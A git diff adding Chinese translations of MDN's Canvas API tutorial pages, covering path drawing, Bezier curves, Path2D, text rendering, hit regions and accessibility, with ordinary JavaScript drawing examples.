图形的基本元素是路径。路径是通过不同颜色和宽度的线段或曲线相连形成的不同形状的点的集合。一个路径,甚至一个子路径,都是闭合的。使用路径绘制图形需要一些额外的步骤。

+ +
    +
  1. 首先,你需要创建路径起始点。
  2. +
  3. 然后你使用画图命令去画出路径。
  4. +
  5. 之后你把路径封闭。
  6. +
  7. 一旦路径生成,你就能通过描边或填充路径区域来渲染图形。
  8. +
+ +

以下是所要用到的函数:

+ +
+
beginPath()
+
新建一条路径,生成之后,图形绘制命令被指向到路径上生成路径。
+
closePath()
+
闭合路径之后图形绘制命令又重新指向到上下文中。
+
stroke()
+
通过线条来绘制图形轮廓。
+
fill()
+
通过填充路径的内容区域生成实心的图形。
+
+ +

生成路径的第一步叫做beginPath()。本质上,路径是由很多子路径构成,这些子路径都是在一个列表中,所有的子路径(线、弧形、等等)构成图形。而每次这个方法调用之后,列表清空重置,然后我们就可以重新绘制新的图形。

+ +
注意:当前路径为空,即调用beginPath()之后,或者canvas刚建的时候,第一条路径构造命令通常被视为是moveTo(),无论实际上是什么。出于这个原因,你几乎总是要在设置路径之后专门指定你的起始位置。
+ +

第二步就是调用函数指定绘制路径,本文稍后我们就能看到了。

+ +

第三,就是闭合路径closePath(),不是必需的。这个方法会通过绘制一条从当前点到开始点的直线来闭合图形。如果图形是已经闭合了的,即当前点为开始点,该函数什么也不做。

+ +
注意:当你调用fill()函数时,所有没有闭合的形状都会自动闭合,所以你不需要调用closePath()函数。但是调用stroke()时不会自动闭合
+ +

绘制一个三角形

+ +

例如,绘制三角形的代码如下:

+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    ctx.beginPath();
+    ctx.moveTo(75, 50);
+    ctx.lineTo(100, 75);
+    ctx.lineTo(100, 25);
+    ctx.fill();
+  }
+}
+
+ +

输出看上去如下:

+ +

{{EmbedLiveSample("绘制一个三角形", 110, 110, "https://mdn.mozillademos.org/files/9847/triangle.png")}}

+ +

移动笔触

+ +

一个非常有用的函数,而这个函数实际上并不能画出任何东西,也是上面所描述的路径列表的一部分,这个函数就是moveTo()。或者你可以想象一下在纸上作业,一支钢笔或者铅笔的笔尖从一个点到另一个点的移动过程。

+ +
+
moveTo(x, y)
+
将笔触移动到指定的坐标x以及y上。
+
+ +

当canvas初始化或者beginPath()调用后,你通常会使用moveTo()函数设置起点。我们也能够使用moveTo()绘制一些不连续的路径。看一下下面的笑脸例子。我将用到moveTo()方法(红线处)的地方标记了。

+ +

你可以尝试一下,使用下边的代码片。只需要将其复制到之前的draw()函数即可。

+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    ctx.beginPath();
+    ctx.arc(75, 75, 50, 0, Math.PI * 2, true); // 绘制
+    ctx.moveTo(110, 75);
+    ctx.arc(75, 75, 35, 0, Math.PI, false);   // 口(顺时针)
+    ctx.moveTo(65, 65);
+    ctx.arc(60, 65, 5, 0, Math.PI * 2, true);  // 左眼
+    ctx.moveTo(95, 65);
+    ctx.arc(90, 65, 5, 0, Math.PI * 2, true);  // 右眼
+    ctx.stroke();
+  }
+}
+
+ +

结果看起来是这样的:

+ +

{{EmbedLiveSample("%E7%A7%BB%E5%8A%A8%E7%AC%94%E8%A7%A6", 160, 160, "https://mdn.mozillademos.org/files/252/Canvas_smiley.png")}}

+ +

如果你想看到连续的线,你可以移除调用的moveTo()。

+ +
+

注意:需要学习更多关于arc()函数的内容,请看下面的{{anch("圆弧")}}

+
+ +

线

+ +

绘制直线,需要用到的方法lineTo()

+ +
+
{{domxref("CanvasRenderingContext2D.lineTo", "lineTo(x, y)")}}
+
绘制一条从当前位置到指定x以及y位置的直线。
+
+ +

该方法有两个参数:x以及y ,代表坐标系中直线结束的点。开始点和之前的绘制路径有关,之前路径的结束点就是接下来的开始点,等等。。。开始点也可以通过moveTo()函数改变。

+ +

下面的例子绘制两个三角形,一个是填充的,另一个是描边的。

+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+  var ctx = canvas.getContext('2d');
+
+  // 填充三角形
+  ctx.beginPath();
+  ctx.moveTo(25, 25);
+  ctx.lineTo(105, 25);
+  ctx.lineTo(25, 105);
+  ctx.fill();
+
+  // 描边三角形
+  ctx.beginPath();
+  ctx.moveTo(125, 125);
+  ctx.lineTo(125, 45);
+  ctx.lineTo(45, 125);
+  ctx.closePath();
+  ctx.stroke();
+  }
+}
+ +

这里从调用beginPath()函数准备绘制一个新的形状路径开始。然后使用moveTo()函数移动到目标位置上。然后下面,两条线段绘制后构成三角形的两条边。

+ +

{{EmbedLiveSample("%E7%BA%BF", 160, 160, "https://mdn.mozillademos.org/files/238/Canvas_lineTo.png")}}

+ +

你会注意到填充与描边三角形步骤有所不同。正如上面所提到的,因为路径使用填充(fill)时,路径自动闭合,使用描边(stroke)则不会闭合路径。如果没有添加闭合路径closePath()到描述三角形函数中,则只绘制了两条线段,并不是一个完整的三角形。

+ +

圆弧

+ +

绘制圆弧或者圆,我们使用arc()方法。当然可以使用arcTo(),不过这个的实现并不是那么的可靠,所以我们这里不作介绍。

+ +
+
{{domxref("CanvasRenderingContext2D.arc", "arc(x, y, radius, startAngle, endAngle, anticlockwise)")}}
+
画一个以(x,y)为圆心的以radius为半径的圆弧(圆),从startAngle开始到endAngle结束,按照anticlockwise给定的方向(默认为顺时针)来生成。
+
{{domxref("CanvasRenderingContext2D.arcTo", "arcTo(x1, y1, x2, y2, radius)")}}
+
根据给定的控制点和半径画一段圆弧,再以直线连接两个控制点。
+
+ +

这里详细介绍一下arc方法,该方法有六个参数:x,y为绘制圆弧所在圆上的圆心坐标。radius为半径。startAngle以及endAngle参数用弧度定义了开始以及结束的弧度。这些都是以x轴为基准。参数anticlockwise为一个布尔值。为true时,是逆时针方向,否则顺时针方向。

+ +
+

注意:arc()函数中表示角的单位是弧度,不是角度。角度与弧度的js表达式:

+ +

弧度=(Math.PI/180)*角度。

+
+ +

下面的例子比上面的要复杂一下,下面绘制了12个不同的角度以及填充的圆弧。

+ +

下面两个for循环,生成圆弧的行列(x,y)坐标。每一段圆弧的开始都调用beginPath()。代码中,每个圆弧的参数都是可变的,实际编程中,我们并不需要这样做。

+ +

x,y坐标是可变的。半径(radius)和开始角度(startAngle)都是固定的。结束角度(endAngle)在第一列开始时是180度(半圆)然后每列增加90度。最后一列形成一个完整的圆。

+ +

clockwise语句作用于第一、三行是顺时针的圆弧,anticlockwise作用于二、四行为逆时针圆弧。if语句让一、二行描边圆弧,下面两行填充路径。

+ +
+

注意: 这个示例所需的画布大小略大于本页面的其他例子: 150 x 200 像素。

+
+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    for(var i = 0; i < 4; i++){
+      for(var j = 0; j < 3; j++){
+        ctx.beginPath();
+        var x = 25 + j * 50; // x 坐标值
+        var y = 25 + i * 50; // y 坐标值
+        var radius = 20; // 圆弧半径
+        var startAngle = 0; // 开始点
+        var endAngle = Math.PI + (Math.PI * j) / 2; // 结束点
+        var anticlockwise = i % 2 == 0 ? false : true; // 顺时针或逆时针
+
+        ctx.arc(x, y, radius, startAngle, endAngle, anticlockwise);
+
+        if (i>1){
+          ctx.fill();
+        } else {
+          ctx.stroke();
+        }
+      }
+    }
+  }
+}
+
+ +

{{EmbedLiveSample("%E5%9C%86%E5%BC%A7", 160, 210, "https://mdn.mozillademos.org/files/204/Canvas_arc.png")}}

+ +

二次贝塞尔曲线及三次贝塞尔曲线

+ +

下一个十分有用的路径类型就是贝塞尔曲线。二次及三次贝塞尔曲线都十分有用,一般用来绘制复杂有规律的图形。

+ +
+
quadraticCurveTo(cp1x, cp1y, x, y)
+
绘制二次贝塞尔曲线,cp1x,cp1y为一个控制点,x,y为结束点。
+
bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y)
+
绘制三次贝塞尔曲线,cp1x,cp1y为控制点一,cp2x,cp2y为控制点二,x,y为结束点。
+
+ +

右边的图能够很好的描述两者的关系,二次贝塞尔曲线有一个开始点(蓝色)、一个结束点(蓝色)以及一个控制点(红色),而三次贝塞尔曲线有两个控制点。

+ +

参数x、y在这两个方法中都是结束点坐标。cp1x,cp1y为坐标中的第一个控制点,cp2x,cp2y为坐标中的第二个控制点。

+ +

使用二次以及三次贝塞尔曲线是有一定的难度的,因为不同于像Adobe Illustrators这样的矢量软件,我们所绘制的曲线没有给我们提供直接的视觉反馈。这让绘制复杂的图形变得十分困难。在下面的例子中,我们会绘制一些简单有规律的图形,如果你有时间以及更多的耐心,很多复杂的图形你也可以绘制出来。

+ +

下面的这些例子没有多少困难。这两个例子中我们会连续绘制贝塞尔曲线,最后形成复杂的图形。

+ +

二次贝塞尔曲线

+ +

这个例子使用多个贝塞尔曲线来渲染对话气泡。

+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    // 二次贝塞尔曲线
+    ctx.beginPath();
+    ctx.moveTo(75, 25);
+    ctx.quadraticCurveTo(25, 25, 25, 62.5);
+    ctx.quadraticCurveTo(25, 100, 50, 100);
+    ctx.quadraticCurveTo(50, 120, 30, 125);
+    ctx.quadraticCurveTo(60, 120, 65, 100);
+    ctx.quadraticCurveTo(125, 100, 125, 62.5);
+    ctx.quadraticCurveTo(125, 25, 75, 25);
+    ctx.stroke();
+   }
+}
+
+ +

{{EmbedLiveSample("%E4%BA%8C%E6%AC%A1%E8%B4%9D%E5%A1%9E%E5%B0%94%E6%9B%B2%E7%BA%BF", 160, 160, "https://mdn.mozillademos.org/files/243/Canvas_quadratic.png")}}

+ +

三次贝塞尔曲线

+ +

这个例子使用贝塞尔曲线绘制心形。

+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+     //三次贝塞尔曲线
+    ctx.beginPath();
+    ctx.moveTo(75, 40);
+    ctx.bezierCurveTo(75, 37, 70, 25, 50, 25);
+    ctx.bezierCurveTo(20, 25, 20, 62.5, 20, 62.5);
+    ctx.bezierCurveTo(20, 80, 40, 102, 75, 120);
+    ctx.bezierCurveTo(110, 102, 130, 80, 130, 62.5);
+    ctx.bezierCurveTo(130, 62.5, 130, 25, 100, 25);
+    ctx.bezierCurveTo(85, 25, 75, 37, 75, 40);
+    ctx.fill();
+  }
+}
+
+ +

{{EmbedLiveSample("%E4%B8%89%E6%AC%A1%E8%B4%9D%E5%A1%9E%E5%B0%94%E6%9B%B2%E7%BA%BF", 160, 160, "https://mdn.mozillademos.org/files/207/Canvas_bezier.png")}}

+ +

矩形

+ +

直接在画布上绘制矩形的三个额外方法,正如我们开始所见的{{anch("绘制矩形")}},同样,也有rect()方法,将一个矩形路径增加到当前路径上。

+ +
+
rect(x, y, width, height)
+
绘制一个左上角坐标为(x,y),宽高为width以及height的矩形。
+
+ +

当该方法执行的时候,moveTo()方法自动设置坐标参数(0,0)。也就是说,当前笔触自动重置回默认坐标。

+ +

组合使用

+ +

目前为止,每一个例子中的每个图形都只用到一种类型的路径。然而,绘制一个图形并没有限制使用数量以及类型。所以在最后的一个例子里,让我们组合使用所有的路径函数来重现一款著名的游戏。

+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    roundedRect(ctx, 12, 12, 150, 150, 15);
+    roundedRect(ctx, 19, 19, 150, 150, 9);
+    roundedRect(ctx, 53, 53, 49, 33, 10);
+    roundedRect(ctx, 53, 119, 49, 16, 6);
+    roundedRect(ctx, 135, 53, 49, 33, 10);
+    roundedRect(ctx, 135, 119, 25, 49, 10);
+
+    ctx.beginPath();
+    ctx.arc(37, 37, 13, Math.PI / 7, -Math.PI / 7, false);
+    ctx.lineTo(31, 37);
+    ctx.fill();
+
+    for(var i = 0; i < 8; i++){
+      ctx.fillRect(51 + i * 16, 35, 4, 4);
+    }
+
+    for(i = 0; i < 6; i++){
+      ctx.fillRect(115, 51 + i * 16, 4, 4);
+    }
+
+    for(i = 0; i < 8; i++){
+      ctx.fillRect(51 + i * 16, 99, 4, 4);
+    }
+
+    ctx.beginPath();
+    ctx.moveTo(83, 116);
+    ctx.lineTo(83, 102);
+    ctx.bezierCurveTo(83, 94, 89, 88, 97, 88);
+    ctx.bezierCurveTo(105, 88, 111, 94, 111, 102);
+    ctx.lineTo(111, 116);
+    ctx.lineTo(106.333, 111.333);
+    ctx.lineTo(101.666, 116);
+    ctx.lineTo(97, 111.333);
+    ctx.lineTo(92.333, 116);
+    ctx.lineTo(87.666, 111.333);
+    ctx.lineTo(83, 116);
+    ctx.fill();
+
+    ctx.fillStyle = "white";
+    ctx.beginPath();
+    ctx.moveTo(91, 96);
+    ctx.bezierCurveTo(88, 96, 87, 99, 87, 101);
+    ctx.bezierCurveTo(87, 103, 88, 106, 91, 106);
+    ctx.bezierCurveTo(94, 106, 95, 103, 95, 101);
+    ctx.bezierCurveTo(95, 99, 94, 96, 91, 96);
+    ctx.moveTo(103, 96);
+    ctx.bezierCurveTo(100, 96, 99, 99, 99, 101);
+    ctx.bezierCurveTo(99, 103, 100, 106, 103, 106);
+    ctx.bezierCurveTo(106, 106, 107, 103, 107, 101);
+    ctx.bezierCurveTo(107, 99, 106, 96, 103, 96);
+    ctx.fill();
+
+    ctx.fillStyle = "black";
+    ctx.beginPath();
+    ctx.arc(101, 102, 2, 0, Math.PI * 2, true);
+    ctx.fill();
+
+    ctx.beginPath();
+    ctx.arc(89, 102, 2, 0, Math.PI * 2, true);
+    ctx.fill();
+  }
+}
+
+// 封装的一个用于绘制圆角矩形的函数.
+
+function roundedRect(ctx, x, y, width, height, radius){
+  ctx.beginPath();
+  ctx.moveTo(x, y + radius);
+  ctx.lineTo(x, y + height - radius);
+  ctx.quadraticCurveTo(x, y + height, x + radius, y + height);
+  ctx.lineTo(x + width - radius, y + height);
+  ctx.quadraticCurveTo(x + width, y + height, x + width, y + height - radius);
+  ctx.lineTo(x + width, y + radius);
+  ctx.quadraticCurveTo(x + width, y, x + width - radius, y);
+  ctx.lineTo(x + radius, y);
+  ctx.quadraticCurveTo(x, y, x, y + radius);
+  ctx.stroke();
+}
+
+ +

结果画面如下:

+ +

{{EmbedLiveSample("%E7%BB%84%E5%90%88%E4%BD%BF%E7%94%A8", 160, 160, "https://mdn.mozillademos.org/files/9849/combinations.png")}}

+ +

我们不会很详细地讲解上面的代码,因为事实上这很容易理解。重点是绘制上下文中使用到了fillStyle属性,以及封装函数(例子中的roundedRect())。使用封装函数对于减少代码量以及复杂度十分有用。

+ +

在稍后的课程里,我们会讨论fillStyle样式的更多细节。这章节中,我们对fillStyle样式所做的仅是改变填充颜色,由默认的黑色到白色,然后又是黑色。

+ +

Path2D 对象

+ +

正如我们在前面例子中看到的,你可以使用一系列的路径和绘画命令来把对象“画”在画布上。为了简化代码和提高性能,{{domxref("Path2D")}}对象已可以在较新版本的浏览器中使用,用来缓存或记录绘画命令,这样你将能快速地回顾路径。

+ +

怎样产生一个Path2D对象呢?

+ +
+
{{domxref("Path2D.Path2D", "Path2D()")}}
+
Path2D()会返回一个新初始化的Path2D对象(可能将某一个路径作为变量——创建一个它的副本,或者将一个包含SVG path数据的字符串作为变量)。
+
+ +
new Path2D();     // 空的Path对象
+new Path2D(path); // 克隆Path对象
+new Path2D(d);    // 从SVG建立Path对象
+ +

所有的路径方法比如moveTo, rect, arcquadraticCurveTo等,如我们前面见过的,都可以在Path2D中使用。

+ +

Path2D API 添加了 addPath作为将path结合起来的方法。当你想要从几个元素中来创建对象时,这将会很实用。比如:

+ +
+
{{domxref("Path2D.addPath", "Path2D.addPath(path [, transform])")}}​
+
添加了一条路径到当前路径(可能添加了一个变换矩阵)。
+
+ +

Path2D 示例

+ +

在这个例子中,我们创造了一个矩形和一个圆。它们都被存为Path2D对象,后面再派上用场。随着新的Path2D API产生,几种方法也相应地被更新来使用Path2D对象而不是当前路径。在这里,带路径参数的strokefill可以把对象画在画布上。

+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    var rectangle = new Path2D();
+    rectangle.rect(10, 10, 50, 50);
+
+    var circle = new Path2D();
+    circle.moveTo(125, 35);
+    circle.arc(100, 35, 25, 0, 2 * Math.PI);
+
+    ctx.stroke(rectangle);
+    ctx.fill(circle);
+  }
+}
+ +

{{EmbedLiveSample("Path2D_%E7%A4%BA%E4%BE%8B", 130, 110, "https://mdn.mozillademos.org/files/9851/path2d.png")}}

+ +

使用 SVG paths

+ +

新的Path2D API有另一个强大的特点,就是使用SVG path data来初始化canvas上的路径。这将使你获取路径时可以以SVG或canvas的方式来重用它们。

+ +

这条路径将先移动到点 (M10 10) 然后再水平移动80个单位(h 80),然后下移80个单位 (v 80),接着左移80个单位 (h -80),再回到起点处 (z)。你可以在Path2D constructor 查看这个例子。

+ +
var p = new Path2D("M10 10 h 80 v 80 h -80 Z");
+
+ +
{{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_usage", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}
+
diff --git a/files/zh-cn/web/api/canvas_api/tutorial/drawing_text/index.html b/files/zh-cn/web/api/canvas_api/tutorial/drawing_text/index.html new file mode 100644 index 0000000000..196b8594ea --- /dev/null +++ b/files/zh-cn/web/api/canvas_api/tutorial/drawing_text/index.html @@ -0,0 +1,162 @@ +--- +title: 绘制文本 +slug: Web/API/Canvas_API/Tutorial/Drawing_text +translation_of: Web/API/Canvas_API/Tutorial/Drawing_text +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Applying_styles_and_colors", "Web/API/Canvas_API/Tutorial/Using_images")}}
+ +
+

在前一个章节中看过 应用样式和颜色 之后, 我们现在来看一下如何在canvas中绘制文本

+
+ +

绘制文本

+ +

canvas 提供了两种方法来渲染文本:

+ +
+
{{domxref("CanvasRenderingContext2D.fillText", "fillText(text, x, y [, maxWidth])")}}
+
在指定的(x,y)位置填充指定的文本,绘制的最大宽度是可选的.
+
{{domxref("CanvasRenderingContext2D.strokeText", "strokeText(text, x, y [, maxWidth])")}}
+
在指定的(x,y)位置绘制文本边框,绘制的最大宽度是可选的.
+
+ +

一个填充文本的示例

+ +

文本用当前的填充方式被填充:

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.font = "48px serif";
+  ctx.fillText("Hello world", 10, 50);
+}
+ + + +

{{EmbedLiveSample("A_fillText_example", 310, 110)}}

+ +

一个文本边框的示例

+ +

文本用当前的边框样式被绘制:

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.font = "48px serif";
+  ctx.strokeText("Hello world", 10, 50);
+}
+ + + +

{{EmbedLiveSample("A_strokeText_example", 310, 110)}}

+ +

有样式的文本

+ +

在上面的例子用我们已经使用了 font 来使文本比默认尺寸大一些. 还有更多的属性可以让你改变canvas显示文本的方式:

+ +
+
{{domxref("CanvasRenderingContext2D.font", "font = value")}}
+
当前我们用来绘制文本的样式. 这个字符串使用和 CSS {{cssxref("font")}} 属性相同的语法. 默认的字体是 10px sans-serif
+
{{domxref("CanvasRenderingContext2D.textAlign", "textAlign = value")}}
+
文本对齐选项. 可选的值包括:start, end, left, right or center. 默认值是 start
+
{{domxref("CanvasRenderingContext2D.textBaseline", "textBaseline = value")}}
+
基线对齐选项. 可选的值包括:top, hanging, middle, alphabetic, ideographic, bottom。默认值是 alphabetic。
+
{{domxref("CanvasRenderingContext2D.direction", "direction = value")}}
+
文本方向。可能的值包括:ltr, rtl, inherit。默认值是 inherit
+
+ +

如果你之前使用过CSS,那么这些选项你会很熟悉。

+ +

下面的图片(from the WHATWG)展示了textBaseline属性支持的不同的基线情况:

+ +

The top of the em square is
+roughly at the top of the glyphs in a font, the hanging baseline is
+where some glyphs like आ are anchored, the middle is half-way
+between the top of the em square and the bottom of the em square,
+the alphabetic baseline is where characters like Á, ÿ,
+f, and Ω are anchored, the ideographic baseline is
+where glyphs like 私 and 達 are anchored, and the bottom
+of the em square is roughly at the bottom of the glyphs in a
+font. The top and bottom of the bounding box can be far from these
+baselines, due to glyphs extending far outside the em square.

+ +

textBaseline例子

+ +

编辑下面的代码,看看它们在canvas中的变化:

+ +
ctx.font = "48px serif";
+ctx.textBaseline = "hanging";
+ctx.strokeText("Hello world", 0, 100);
+
+ + + +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

预测量文本宽度

+ +

当你需要获得更多的文本细节时,下面的方法可以给你测量文本的方法。

+ +
+
{{domxref("CanvasRenderingContext2D.measureText", "measureText()")}}
+
将返回一个 {{domxref("TextMetrics")}}对象的宽度、所在像素,这些体现文本特性的属性。
+
+ +

下面的代码段将展示如何测量文本来获得它的宽度:

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var text = ctx.measureText("foo"); // TextMetrics object
+  text.width; // 16;
+}
+
+ +

Geoko特性说明

+ +

在Geoko(Firefox,Firefox OS及基于Mozilla的应用的渲染引擎)中,曾有一些版本较早的 API 实现了在canvas上对文本作画的功能,但它们现在已不再使用。

+ +

{{PreviousNext("Web/API/Canvas_API/Tutorial/Applying_styles_and_colors", "Web/API/Canvas_API/Tutorial/Using_images")}}

diff --git a/files/zh-cn/web/api/canvas_api/tutorial/finale/index.html b/files/zh-cn/web/api/canvas_api/tutorial/finale/index.html new file mode 100644 index 0000000000..8256751a35 --- /dev/null +++ b/files/zh-cn/web/api/canvas_api/tutorial/finale/index.html @@ -0,0 +1,68 @@ +--- +title: 终曲 +slug: Web/API/Canvas_API/Tutorial/Finale +tags: + - 终曲 +translation_of: Web/API/Canvas_API/Tutorial/Finale +--- +
 
+ +
+

恭喜你!你已经结束了Canvas的教程!这些知识将帮助你在web中创建优秀的2D图形。

+
+ +

更多的例子以及教程

+ +

下面这些网站里有关于canvas的各种各样的演示以及更进一步的说明:

+ +
+
Codepen.io
+
前端开发人员操练场和浏览器内的代码编辑器。
+
Canvasdemos.com(域名已失效)
+
关于HTML5 canvas元素的应用程序,游戏,工具和教程。
+
HTML5CanvasTutorials
+
包括大多数canvas API的示例。
+
31 days of Canvas tutorials
+
JavaScript可视化编程入门的不错选择。
+
Game development
+
玩游戏是最热门的计算机活动之一。新技术不断诞生,以使开发更好更强、且能在任何符合标准的浏览器上运行的游戏变得可能。
+
+ +

其他的Web APIs

+ +

当和canvas和图形进一步打交道时,这些API可能会排上用场。

+ +
+
WebGL
+
用于渲染交互式3D图形的API.
+
SVG
+
可缩放矢量图形(简称SVG)允许你使用矢量线,矢量图形,确保无论图片大小都可以比例平滑地显示.
+
Web Audio
+
+
+
+
+
+
+
+
+

Web Audio API提供了Web上的音频控制——个强大和灵活的系统,允许开发人员选择的音频源,添加效果的音频,创建音频可视化,应用空间效应(如平移)等等。

+
+
+
+
+
+
+
+
+
 
+
+ +

解惑

+ +
+
Stackoverflow
+
到"canvas"标签来提问
+
Comments about this tutorial – the MDN documentation community
+
如果你对本教程有任何意见,或是想感谢我们,在此畅所欲言吧!
+
diff --git a/files/zh-cn/web/api/canvas_api/tutorial/hit_regions_and_accessibility/index.html b/files/zh-cn/web/api/canvas_api/tutorial/hit_regions_and_accessibility/index.html new file mode 100644 index 0000000000..1e4a70f289 --- /dev/null +++ b/files/zh-cn/web/api/canvas_api/tutorial/hit_regions_and_accessibility/index.html @@ -0,0 +1,97 @@ +--- +title: 点击区域和无障碍访问 +slug: Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility +translation_of: Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility +--- +
{{CanvasSidebar}} {{ PreviousNext("Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas", "Web/API/Canvas_API/Tutorial/Optimizing_canvas") }}
+ +
{{HTMLElement("canvas")}} 标签只是一个位图,它并不提供任何已经绘制在上面的对象的信息。 canvas的内容不能像语义化的HTML一样暴露给一些协助工具。一般来说,你应该避免在交互型的网站或者App上使用canvas。接下来的内容能帮助你让canvas更加容易交互。
+ +

内容兼容

+ +

<canvas> ... </canvas>标签里的内容被可以对一些不支持canvas的浏览器提供兼容。这对残疾用户设备也很有用(比如屏幕阅读器),这样它们就可以读取并解释DOM里的子节点。在html5accessibility.com有个很好的例子来演示它如何运作。

+ +
<canvas>
+  <h2>Shapes</h2>
+  <p>A rectangle with a black border.
+   In the background is a pink circle.
+   Partially overlaying the <a href="http://en.wikipedia.org/wiki/Circle" onfocus="drawCircle();" onblur="drawPicture();">circle</a>.
+   Partially overlaying the circle is a green
+   <a href="http://en.wikipedia.org/wiki/Square" onfocus="drawSquare();" onblur="drawPicture();">square</a>
+   and a purple <a href="http://en.wikipedia.org/wiki/Triangle" onfocus="drawTriangle();" onblur="drawPicture();">triangle</a>,
+   both of which are semi-opaque, so the full circle can be seen underneath.</p>
+</canvas> 
+ +

演示视频:video how NVDA reads this example by Steve Faulkner.

+ +

ARIA 规则

+ +

Accessible Rich Internet Applications (ARIA) 定义了让Web内容和Web应用更容易被有身体缺陷的人获取的办法。你可以用ARIA属性来描述canvas元素的行为和存在目的。详情见ARIA和 ARIA 技术

+ +
<canvas id="button" tabindex="0" role="button" aria-pressed="false" aria-label="Start game"></canvas>
+
+ +

点击区域(hit region)

+ +

判断鼠标坐标是否在canvas上一个特定区域里一直是个有待解决的问题。hit region API让你可以在canvas上定义一个区域,这让无障碍工具获取canvas上的交互内容成为可能。它能让你更容易地进行点击检测并把事件转发到DOM元素去。这个API有以下三个方法(都是实验性特性,请先在浏览器兼容表上确认再使用)。

+ +
+
{{domxref("CanvasRenderingContext2D.addHitRegion()")}} {{experimental_inline}}
+
在canvas上添加一个点击区域。
+
{{domxref("CanvasRenderingContext2D.removeHitRegion()")}} {{experimental_inline}}
+
从canvas上移除指定id的点击区域。
+
{{domxref("CanvasRenderingContext2D.clearHitRegions()")}} {{experimental_inline}}
+
移除canvas上的所有点击区域。
+
+ +

你可以把一个点击区域添加到路径里并检测{{domxref("MouseEvent.region")}}属性来测试你的鼠标有没有点击这个区域,例:

+ +
<canvas id="canvas"></canvas>
+<script>
+var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.beginPath();
+ctx.arc(70, 80, 10, 0, 2 * Math.PI, false);
+ctx.fill();
+ctx.addHitRegion({id: "circle"});
+
+canvas.addEventListener("mousemove", function(event){
+  if(event.region) {
+    alert("hit region: " + event.region);
+  }
+});
+</script>
+ +

addHitRegion()方法也可以带一个control选项来指定把事件转发到哪个元素上(canvas里的元素)。

+ +
ctx.addHitRegion({control: element});
+ +

把这个特性用在{{HTMLElement("input")}}元素上会很有用。 看看这个例子:codepen demo.

+ +

焦点圈

+ +

当用键盘控制时,焦点圈是一个能帮我们在页面上快速导航的标记。要在canvas上绘制焦点圈,可以使用drawFocusIfNeeded 属性。

+ +
+
{{domxref("CanvasRenderingContext2D.drawFocusIfNeeded()")}} {{experimental_inline}}
+
如果给定的元素获得了焦点,这个方法会沿着在当前的路径画个焦点圈。
+
+ +

另外,scrollPathIntoView()方法可以让一个元素获得焦点的时候在屏幕上可见(滚动到元素所在的区域)

+ +
+
{{domxref("CanvasRenderingContext2D.scrollPathIntoView()")}} {{experimental_inline}}
+
把当前的路径或者一个给定的路径滚动到显示区域内。
+
+ +

相关内容

+ + + +
{{ PreviousNext("Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas", "Web/API/Canvas_API/Tutorial/Optimizing_canvas") }}
diff --git a/files/zh-cn/web/api/canvas_api/tutorial/index.html b/files/zh-cn/web/api/canvas_api/tutorial/index.html new file mode 100644 index 0000000000..454cb843ba --- /dev/null +++ b/files/zh-cn/web/api/canvas_api/tutorial/index.html @@ -0,0 +1,58 @@ +--- +title: Canvas教程 +slug: Web/API/Canvas_API/Tutorial +tags: + - Canvas + - HTML + - HTML5 + - Web + - 中级 + - 图像 + - 教程 + - 画布 + - 进阶 +translation_of: Web/API/Canvas_API/Tutorial +--- +
{{CanvasSidebar}}
+ +

+ +
+

<canvas>是一个可以使用脚本(通常为JavaScript)来绘制图形的 HTML 元素.例如,它可以用于绘制图表、制作图片构图或者制作简单的(以及不那么简单的)动画. 右边的图片展示了一些 <canvas> 的实现示例,在这个教程后面我们将看到.

+
+ +

本篇教程从一些基础开始,描述了如何使用<canvas>元素来绘制2D图形。教程中提供的例子,会让你明白可以用canvas做什么,也会提供一些代码片段来帮助你开始构建自己的内容。

+ +

<canvas> 最早由Apple引入WebKit,用于Mac OS X 的 Dashboard,随后被各个浏览器实现。如今,所有主流的浏览器都支持它。

+ +

开始之前

+ +

使用 <canvas> 元素不是非常难,但你需要一些基本的HTMLJavaScript知识。除一些过时的浏览器不支持<canvas> 元素外,所有的新版本主流浏览器都支持它。Canvas 的默认大小为300像素×150像素(宽×高,像素的单位是px)。但是,可以使用HTML的高度和宽度属性来自定义Canvas 的尺寸。为了在 Canvas 上绘制图形,我们使用一个JavaScript上下文对象,它能动态创建图像( creates graphics on the fly)。

+ +

本教程包含

+ + + +

相关链接

+ + + +

{{ Next("Web/API/Canvas_API/Tutorial/Basic_usage") }}

